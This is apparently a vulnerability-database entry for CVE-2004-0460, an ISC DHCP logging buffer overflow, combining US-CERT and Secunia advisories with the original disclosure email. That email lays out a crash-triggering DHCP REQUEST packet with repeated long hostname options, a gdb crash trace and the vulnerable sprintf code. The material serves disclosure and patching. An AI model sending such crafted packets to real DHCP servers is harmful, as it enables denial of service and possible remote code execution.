ID

VAR-200408-0174

CVE

CVE-2004-0460

TITLE

ISC DHCP contains a stack buffer overflow vulnerability in handling log lines containing ASCII characters only

DESCRIPTION

Buffer overflow in the logging capability for the DHCP daemon (DHCPD) for ISC DHCP 3.0.1rc12 and 3.0.1rc13 allows remote attackers to cause a denial of service (server crash) and possibly execute arbitrary code via multiple hostname options in (1) DISCOVER, (2) OFFER, (3) REQUEST, (4) ACK, or (5) NAK messages, which can generate a long string when writing to a log file. The Internet Systems Consortium's (ISC) Dynamic Host Configuration Protocol (DHCP) 3 application contains a buffer overflow vulnerability. Infoblox of dns one appliance Unspecified vulnerabilities exist in products from multiple vendors.None. This issue exists in routines responsible for logging hostname options provided by DHCP clients. This issue is reported to affect ISC DHCPD versions 3.0.1rc12 and 3.0.1rc13. The vulnerable code exists in previous versions of ISC DHCPD 3, but is only believed to be exploitable in these two releases. ISC DHCPD uses syslog to record each transmitted DHCP packet, client's DISCOVER and result OFFER, REQUEST and ACK, and any NAK will be recorded. middle. However, if non-ACSII or non-printable characters are provided, other checks and filters will be performed to prevent overflow. Carefully constructed and submitted data may execute arbitrary commands on the system with the rights of the DHCPD process. ---------------------------------------------------------------------- Secunia is proud to announce the availability of the Secunia Software Inspector. The Secunia Software Inspector is a free service that detects insecure versions of software that you may have installed in your system. When insecure versions are detected, the Secunia Software Inspector also provides thorough guidelines for updating the software to the latest secure version from the vendor. Try it out online: http://secunia.com/software_inspector/ ---------------------------------------------------------------------- TITLE: XEROX WorkCentre Products Multiple Vulnerabilities SECUNIA ADVISORY ID: SA23265 VERIFY ADVISORY: http://secunia.com/advisories/23265/ CRITICAL: Moderately critical IMPACT: Security Bypass, Manipulation of data, Exposure of system information, Exposure of sensitive information, DoS, System access WHERE: >From local network OPERATING SYSTEM: Xerox WorkCentre http://secunia.com/product/4746/ Xerox WorkCentre Pro http://secunia.com/product/4553/ DESCRIPTION: Some vulnerabilities and weaknesses have been reported in various XEROX WorkCentre products, which can be exploited by malicious people to bypass certain security restrictions, expose certain sensitive information, cause a DoS (Denial of Service), and compromise a vulnerable system. 1) Input passed to the TCP/IP hostname, the Scan-to-mailbox folder name field, and to the Microsoft Network configuration parameters in the Web User interface is not properly sanitised. 2) Certain browser settings may allow unauthorized access. Additionally, an unspecified vulnerability in the Web User Interface can be exploited to bypass the authentication. 3) The TFTP/BOOTP auto configuration can be exploited to manipulate certain configuration settings. 4) An unspecified error within the handling of email signatures can be exploited to display improper items. 5) Requests to web services can be made through HTTP instead of HTTPS. Other unspecified HTTP security issues and a httpd.conf misconfiguration are also reported. 6) An error within the Scan-to-mailbox feature can be exploited to anonymously download secure files. Additionally, it is possible to anonymously download audit log files. 7) The system fails to keep accurate time resulting in incorrect time stamps in audit logs. 8) The embedded Samba version contains various vulnerabilities. Additionally, the SMB "Homes" share is visible and it's possible to browse the file system via SMB. 9) The SNMP agent does not return errors for non-writable objects. Additionally, authentication failure traps can't be enabled or generated. 10) An error within ops3-dmn can be exploited to crash the service and cause a DoS by attaching a PS script. 11) It is possible to bypass the security restriction and boot Alchemy by e.g. using an USB thumb drive. 12) The "Validate Repository SSL Certificate" scan feature does not verify the FQDN. 13) Certain problems with the Immediate Image Overwrite and On Demand Image Overwrite, a Postgress port block, and a http TRACE XSS attack in the network controller are reported. 14) Two boundary errors within the embedded DHCP implementation can be exploited to cause a buffer overflow, which may allow execution of arbitrary code. SOLUTION: Apply updated software (see vendor advisories for detailed instructions). PROVIDED AND/OR DISCOVERED BY: Reported by the vendor. ORIGINAL ADVISORY: Xerox: http://www.xerox.com/downloads/usa/en/c/cert_XRX06_006_v1b.pdf http://www.xerox.com/downloads/usa/en/c/cert_XRX06_004_v11.pdf ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Technical Cyber Security Alert TA04-174A Multiple Vulnerabilities in ISC DHCP 3 Original release date: June 22, 2004 Last revised: -- Source: US-CERT Systems Affected * ISC DHCP versions 3.0.1rc12 and 3.0.1rc13 Overview Two vulnerabilities in the ISC DHCP allow a remote attacker to cause a denial of the DHCP service on a vulnerable system. It may be possible to exploit these vulnerabilities to execute arbitrary code on the system. I. In transactions, ISC DHCPD logs every DHCP packet along with several pieces of descriptive information. The client's DISCOVER and the resulting OFFER, REQUEST, ACK, and NAKs are all logged. In all of these messages, if the client supplied a hostname, then it is also included in the logged line. These options are concatenated by the server. If the hostname and options contain only ASCII characters, then the string will pass non-ASCII character filters and be temporarily stored in 1024 byte fixed-length buffers on the stack. If a client supplies enough hostname options, it is possible to overflow the fixed-length buffer. VU#654390 discusses C include files for systems that do not support the bounds checking vsnprintf() function. These files define the bounds checking vsnprintf() to the non-bounds checking vsprintf() function. Since vsprintf() is a function that does not check bounds, the size is discarded, creating the potential for a buffer overflow when client data is supplied. Note that the vsnprintf() statements are defined after the vulnerable code that is discussed in VU#317350. Since the preconditions for this vulnerability are similar to those required to exploit VU#317350, these buffer overflow conditions occur sequentially in the code after the buffer overflow vulnerability discussed in VU#317350, and these issues were discovered and resolved at the same time, there is no known exploit path to exploit these buffer overflow conditions caused by VU#654390. Note that VU#654390 was discovered and exploitable once VU#317350 was resolved. VU#317350 is exploitable for all operating systems and configurations. VU#654390 is only defined for the following operating systems: * AIX * AlphaOS * Cygwin32 * HP-UX * Irix * Linux * NextStep * SCO * SunOS 4 * SunOS 5.5 * Ultrix All versions of ISC DCHP 3, including all snapshots, betas, and release candidates, contain the flawed code. US-CERT is tracking these issues as VU#317350, which has been assigned CVE CAN-2004-0460, and VU#654390, which has been assigned CVE CAN-2004-0461. II. III. Solution Apply patches or upgrade These issues have been resolved in ISC DHCP 3.0.1rc14. Your vendor may provide specific patches or updates. For vendor-specific information, please see your vendor's site, or look for your vendor infomation in VU#317350 and VU#654390. As vendors report new information to US-CERT, we will update the vulnerability notes. Appendix B. References * http://www.isc.org/sw/dhcp/ * http://www.kb.cert.org/vuls/id/317350 * http://www.kb.cert.org/vuls/id/654390 _________________________________________________________________ US-CERT thanks Gregory Duchemin and Solar Designer for discovering, reporting, and resolving this vulnerability. Thanks also to David Hankins of ISC for notifying us of this vulnerability and the technical information provided to create this document. _________________________________________________________________ Feedback can be directed to the author: Jason A. Rafail _________________________________________________________________ The latest version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA04-174A.html> _________________________________________________________________ Copyright 2004 Carnegie Mellon University. Terms of use: <http://www.us-cert.gov/legal.html> _________________________________________________________________ Revision History June 22, 2004: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFA2HFSXlvNRxAkFWARArH4AKDtUECQTE5HXmvsDQkwcWn9r7uAowCdGTHq AqWt3CgdEPJcIFDbJlIWQHo= =HSxN -----END PGP SIGNATURE----- . This mail also includes a trace of such DHCP REQUEST. Other .bss overflows related to vsnprintf and identified later during our investigations as described in: http://www.kb.cert.org/vuls/id/654390 can be triggered the exact same way. Note that the home made tool i am referencing in this email will be made available very soon and already includes ISC, INFOBLOX and DLINK dhcp vulnerabilities I will drop a note here when it is finally released. cheers, Gregory Special thanks to Solar Designer and David W.Hankins (ISC) --- Original email ------ Summary: i have discovered several stack based overflow in your dhcp-3.0.1rc12 and rc13 (may be others, have not checked) these vulnerabilities can be easily triggered by crafting a dhcp discover or request packet which carries several hostname dhcp options that ,once reassembled by the daemon (as explained in rfc 3396), overflow a stack based variable causing the daemon to crash. I believe than one might execute code remotely on the server with the same user account dhcpd is running with, root in most cases. I have been able at some points during the tests, to control eip' 4 bytes (intel 32bits arch), it was during the ddns forward update operation. Note that all tests have been made on a linux 2.4.20-24.9 using a home made tool to generate custom dhcp traffic Now an example: see dhcpd.conf in attachment if you need it. structure of an offending packet (case of a dhcp request based attack) >> DHCP request >> from 0.0.0.0:68 (ff:ff:ff:ff:ff:ff) to 255.255.255.255:67 (ff:ff:ff:ff:ff:ff) >> op : BOOT REQUEST (1) >> htype : Ethernet (10Mb) (1) >> hlen : 6 >> hops : 0 >> xid : 0x00000000 >> secs : 1 >> flags : UNICAST (0x0000) >> ciaddr : 0.0.0.0 >> yiaddr : 0.0.0.0 >> siaddr : 255.255.255.255 >> giaddr : 0.0.0.0 >> chaddr : ff:ff:ff:ff:ff:ff >> sname : >> file : >> cookie : 0x63825363 (RFC 1497/2132, BOOTP Vendor informations/DHCP options) >> DHCP option (053 [0x35]) : MESSAGE_TYPE : REQUEST >> BOOTP option (012 [0x0c]) : HOSTNAME : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> BOOTP option (012 [0x0c]) : HOSTNAME : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> BOOTP option (012 [0x0c]) : HOSTNAME : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> BOOTP option (012 [0x0c]) : HOSTNAME : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> BOOTP option (012 [0x0c]) : HOSTNAME : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> BOOTP option (012 [0x0c]) : HOSTNAME : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> BOOTP option (012 [0x0c]) : HOSTNAME : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> DHCP option (050 [0x32]) : REQUEST_IP : 192.168.0.99 sending this packet to the ptraced daemon (within gdb) gives: (gdb) run -f -d The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/sbin/dhcpd -f -d Internet Software Consortium DHCP Server V3.0.1rc13 Copyright 1995-2003 Internet Software Consortium. All rights reserved. For info, please visit http://www.isc.org/products/DHCP Wrote 0 deleted host decls to leases file. Wrote 0 new dynamic host decls to leases file. Wrote 0 leases to leases file. Listening on LPF/eth0/00:0d:88:b5:95:0c/192.168.0.0/24 Sending on LPF/eth0/00:0d:88:b5:95:0c/192.168.0.0/24 Sending on Socket/fallback/fallback-net Unable to add forward map from bobAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-1022AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8 860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-284AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108NANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108NAN0X1.1E4600811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1. 92E302E383631P-108NAN0X1.1E4600811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0X1.1DEF80811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108NAN0X1.1E4600811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0X1.1DEF80811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-0X1.FDE880811DEF8P+0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108NAN0X1.1E4600811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0X1.1DEF80811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-0X1.FDE880811DEF8P+0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-0X1.FDE2008071205P+0A.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108NAN0X1.1E4600811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0X1.1DEF80811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-0X 1.FDE880811DEF8P+0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-0X1.FDE2008071205P+0A.zob.com.0X1. Program received signal SIGSEGV, Segmentation fault. 0x080add76 in hash_lookup (vp=0xbfffde24, table=0x38322d50, name=0x8149dac "\001\xff\xff\xff\xff\xff\xff", len=7, file=0x80bbe25 "mdb.c", line=1662) at hash.c:363 363 hashno = (*table -> do_hash) (name, len, table -> hash_count); (gdb) backtracing stack show: (gdb) bt #0 0x080add76 in hash_lookup (vp=0xbfffde24, table=0x38322d50, name=0x8149dac "\001\xff\xff\xff\xff\xff\xff", len=7, file=0x80bbe25 "mdb.c", line=1662) at hash.c:363 #1 0x0806fb0a in lease_hash_lookup (ptr=0xbfffde24, table=0x38322d50, buf=0x8149dac "\001\xff\xff\xff\xff\xff\xff", len=7, file=0x80bbe25 "mdb.c", line=1662) at mdb.c:2055 #2 0x0806eb5b in find_lease_by_hw_addr (lp=0xbfffde24, hwaddr=0x8149dac "\001\xff\xff\xff\xff\xff\xff", hwlen=7, file=0x80bbe25 "mdb.c", line=1662) at mdb.c:1574 #3 0x0806ee5f in hw_hash_add (lease=0x8149d30) at mdb.c:1661 #4 0x0806d959 in supersede_lease (comp=0x8149d30, lease=0x811def8, commit=1, propogate=1, pimmediate=1) at mdb.c:969 #5 0x08050cb9 in ack_lease (packet=0x811d6e0, lease=0x8149d30, offer=5, when=0, msg=0xbfffdfd0 "DHCPREQUEST for 192.168.0.99 from ff:ff:ff:ff:ff:ff via eth0", ms_nulltp=0) at dhcp.c:2227 #6 0x0804d041 in dhcprequest (packet=0x811d6e0, ms_nulltp=0, ip_lease=0x0) at dhcp.c:662 #7 0x0804c37d in dhcp (packet=0x811d6e0) at dhcp.c:224 #8 0x08088d9a in do_packet (interface=0x811d568, packet=0xbfffe580, len=1430, from_port=17408, from= {len = 4, iabuf = '\0' <repeats 15 times>}, hfrom=0xbffff5b0) at options.c:2237 #9 0x08096718 in got_one (h=0x811d568) at discover.c:785 #10 0x080a937e in omapi_one_dispatch (wo=0x0, t=0x0) at dispatch.c:418 #11 0x0807cce3 in dispatch () at dispatch.c:103 #12 0x0804add1 in main (argc=3, argv=0xbffff904, envp=0xbffff914) at dhcpd.c:614 #13 0x42015574 in __libc_start_main () from /lib/tls/libc.so.6 (gdb) Note that the daemon may actually crash at a different location depending of the first corrupted structure it meets and therefore, of the size of the malicious option sent, along with the context (type of packet, leases in use etc...) Problems in the source: I have spent quite some time to find out where the overflow actually takes its roots, here are my findings: file server/dhcp.c: function dhcprequest : char msgbuf [1024]; /* XXX */ char *s; .... if (lease && lease -> client_hostname && db_printable (lease -> client_hostname)) s = lease -> client_hostname; else s = (char *)0; ...... sprintf (msgbuf, "DHCPREQUEST for %s%s from %s %s%s%svia %s", piaddr (cip), smbuf, (packet -> raw -> htype ? print_hw_addr (packet -> raw -> htype, packet -> raw -> hlen, packet -> raw -> chaddr) : (lease ? print_hex_1 (lease -> uid_len, lease -> uid, lease -> uid_len) : "<no identifier>")), s ? "(" : "", s ? s : "", s ? ") " : "", packet -> raw -> giaddr.s_addr ? inet_ntoa (packet -> raw -> giaddr) : packet -> interface -> name); To summarize, s is referencing the reassembled hostname option passed to the daemon, afterwhat it is used as is in sprintf and stored in msgbuf (fixed size) without any length checking. local msgbuf can obviously be overrun, corrupting various structures in stack and eventually causing the server to crash Note that the call to db_printable( ), filtering hostname, may render the task harder to root a server but likely not impossible. Also being able to corrupt structures like *lease or *oc may have interesting side effects from an attacker perspective. void dhcprequest (packet, ms_nulltp, ip_lease) struct packet *packet; int ms_nulltp; struct lease *ip_lease; { struct lease *lease; struct iaddr cip; struct iaddr sip; struct subnet *subnet; int ours = 0; struct option_cache *oc; struct data_string data; int status; char msgbuf [1024]; /* XXX */ char *s; char smbuf [19]; .... the very same problem is present in dhcpdiscover( ), dhcpdecline( ), dhcprequest( ) , dhcprelease( ), ... please look at the diff in unified format, attached to this email, for a detailed list

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

Boundary Condition Error

EXTERNAL IDS

REFERENCES

CREDITS

Gregory Duchemin※ c3rb3r@hotmail.com※Solar Designer※ solar@openwall.com

SOURCES

LAST UPDATE DATE

2024-08-14T13:39:26.129000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE